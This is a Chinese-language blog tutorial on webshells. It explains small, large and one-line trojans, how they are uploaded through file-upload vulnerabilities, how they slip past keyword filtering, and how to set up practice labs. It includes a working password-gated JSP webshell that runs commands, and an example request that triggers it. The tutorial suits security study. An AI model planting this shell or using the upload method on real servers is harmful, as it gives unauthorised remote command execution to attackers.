一、webshell概况
1.webshell概念:
经常有客户的网站碰到被上传小马和大马,这里的“马”是木马的意思,可不是真实的马。 通常,攻击者利用文件上传漏洞,上传一个可执行并且能被解析的脚本文件,通过这个脚本来获得服务器端执行命令的能力,也就是我们经常听到的WebShell,而这个脚本文件就是我们常说的大马和小马。 1、都有些什么“马”? 小马 体积小,功能少,优点在于不易被发现,功能单一,常作为上传大马的跳板。 大马 体积大,功能强大,但是易被发现。 一句话木马 在小马和大马之外衍生出的另一种木马,只需短短一行代码,再结合WebShell工具(如菜刀、蚁剑、冰蝎等等)就能做到与大马能力相当的功能(执行命令行、文件上传、文件下载等功能)。
2.小马和一句话木马的区别和联系?
小马(Trojan Horse)是一种通过伪装成合法程序或文件而植入用户设备的恶意软件。一句话木马(One-Liner Trojan)是一种特殊类型的小马,它只包含一行代码,并利用操作系统的功能来执行恶意操作。
- 功能:小马通常具有多个功能,可以用于窃取敏感信息、远程控制被感染设备、植入其他恶意软件等。一句话木马的功能较为简单,通常用于远程控制被感染设备,例如执行命令、上传下载文件等。
- 传播方式:小马通常通过社交工程手段欺骗用户下载和执行,或者利用漏洞进行自动传播。一句话木马通常通过网络攻击手段,如利用服务器漏洞或钓鱼攻击等方式进行传播。
- 隐藏性:小马通常会尽可能隐藏自己的存在,以避免被用户察觉。一句话木马的代码非常短小,使其更容易隐藏在合法的脚本中,从而减少被发现的概率。
尽管小马和一句话木马有些相似之处,但它们的主要区别是一句话木马更注重简洁和高效,而小马则更多样化、功能更丰富。在实践中,一句话木马有时也可以作为一个小马的一部分使用。
3.一句话木马的优缺点
优点:短小精悍,功能强大。
缺点:容易被安全软件检测出来。为了增强隐蔽性,也出现了各种一句话木马的变形。
4.怎样搭建文件上传的靶场?
ps:一些关卡只能通过Windows搭建实现,一些关卡只能通过Linux搭建实现,因此两种搭建方式都需要。
1.windows的直接dvwa和upload-libs
2.linux系统用docker下载
二、一句话木马
1.一句话木马定义
木马,全称特洛伊木马(Trojan Horse)是指寄宿在计算机里的一种非授权的远程控制程序。由于特洛伊木马程序能够在计算机管理员未发觉的情况下开放系统权限、泄漏用户信息、甚至窃取整个计算机管理使用权限,使得它成为了黑客们最为常用的工具之一。
一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能。一句话木马短小
精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着非常重要的角色。
一句话木马就是小马,由于防火墙拦截的时候是看包里面的内容,比如如果检测到你包里面有system这个关键字,就把你的请求给pass掉了,所以先上传内容简单的小马,获得对方机器的控制权限后再上传大码和不死马。从而扩大控制权限。
三、小马
1.概念
小马和大马都是网页类型中的一种后门,是通过用来控制网站权限的,那最主要的区别就是小马是用来上传大马的。通过小马上传大马,这时候有个疑问了,那不是多此一举了,为什么要用小马来上传大马,而干嘛不直接上传大马用好了。其实这里是因为小马体积小,有比大马更强的隐蔽优势,而且有针对文件大小上传限制的漏洞,所以才有小马,小马也通常用来做留备用后门等。
2.网页小马概念:
小马体积非常小,只有2KB那么大,隐蔽性也非常的好,因为小马的作用很简单,就是一个上传功能,就没有其它的了,它的作用仅仅是用来上传文件,所以也能过一些安全扫描。小马是为了方便上传大马的,因为很多漏洞做了上传限制,大马上传不了,所以就只能先上传小马,再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。
Java语言编写的后台咱们使用JSP木马,与前面的一句话木马不同,菜刀中JSP木马较长,以下是一个简单的JSP小马:
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
成功上传后如果能解析的话,请求:http://服务器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig 即可执行命令。
四、网页大马:
1.概念
大马的体积就比较大了,通常在50K左右,比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。
中国菜刀的一句话不算,菜刀一句话通过客户端来操作也非常强大,一句话的代码可以和大马实现的一样。我们这里说的小马和大马是指网页类型中的,小马就是为了配合上传大马的,这是它最主要的作用,还有就是小马可以当做备用的后门来使用,一般大马容易被发现,而小马则更容易隐藏在系统的文件夹中。
2.使用
来看看一个大马利用实例:在虚拟机中往DVWA上传PHP大马(源码附在最后):
访问木马文件123.php,提交密码123456后进入大马的功能列表,下图所示为文件管理功能:
继续访问下命令执行功能(其他功能不展示了):
大马:
webshell,总结,小马,文件,木马,大马,上传,图片 From: https://blog.csdn.net/a770067334/article/details/139867979